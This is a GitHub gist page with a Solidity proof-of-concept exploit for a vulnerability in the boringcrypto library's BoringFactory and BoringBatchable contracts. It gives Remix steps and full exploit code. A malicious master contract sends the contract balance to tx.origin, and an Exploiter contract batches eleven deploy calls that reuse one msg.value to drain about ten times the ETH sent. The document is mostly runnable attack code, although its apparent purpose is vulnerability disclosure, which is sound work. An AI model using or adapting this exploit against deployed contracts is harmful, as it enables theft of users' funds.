-
-
Save Austin-Williams/edf598929ae8e8a294d58937f2c49a47 to your computer and use it in GitHub Desktop.
PoC of boringcrypto library vuln
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
Use this file in Remix to verify that any contract that inherits both the `BoringFactory` and `BoringBatchable` contracts from the `boringcrypto` library can be drained of ETH by anyone. | |
Steps: | |
1. Deploy the `Exploitable` contract, giving it some ETH to steal (e.g., 50 ETH). | |
2. Deploy the `Exploiter` contract. | |
3. Call `Exploiter.exploit` -- while sending 1 ETH along with the call -- and passing in the address of the `Exploitable` contract. | |
4. Pay attention to the ETH balance of the EOA that made the call in step 3. Its ETH balanced will have increased by 10 ETH (which is what it has taken from the `Exploitable` contract). | |
*/ | |
// SPDX-License-Identifier: MIT | |
pragma solidity 0.6.12; | |
pragma experimental ABIEncoderV2; | |
import "https://github.com/boringcrypto/BoringSolidity/blob/9e5f49f4453acebe99693c1619ca873829df0962/contracts/BoringBatchable.sol"; | |
import "https://github.com/boringcrypto/BoringSolidity/blob/9e5f49f4453acebe99693c1619ca873829df0962/contracts/BoringFactory.sol"; | |
contract Exploitable is BoringFactory, BoringBatchable { | |
constructor() public payable { | |
require(msg.value > 10 ether, "must give this contract some ETH to steal"); | |
} | |
} | |
contract MasterContractToClone is IMasterContract { | |
function init(bytes calldata data) external override payable { | |
payable(tx.origin).transfer(address(this).balance); | |
data; // suppress compiler warnings | |
} | |
} | |
interface IExploitable { | |
function batch(bytes[] calldata calls, bool revertOnFail) external payable; | |
} | |
contract Exploiter { | |
bytes[] public calls; | |
// you'll end up stealing 10x the amount of your msg.value, assuming the | |
// exploitable contract holds that much. | |
function exploit(address _exploitableContract) external payable { | |
require(msg.value > 0, "must send some ETH"); | |
// deploy MasterContractToClone | |
address masterContractToClone = address(new MasterContractToClone()); | |
// set calls for batch | |
delete calls; | |
bytes memory data = "0x123456"; | |
bytes memory _data = abi.encode(masterContractToClone, data, false); | |
bytes memory call = abi.encodePacked(bytes4(keccak256(bytes("deploy(address,bytes,bool)"))), _data); | |
for (uint256 i = 0; i < 11; i++) { | |
calls.push(call); | |
} | |
// exploit batch + deploy functions | |
IExploitable(_exploitableContract).batch{value: msg.value}(calls, true); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment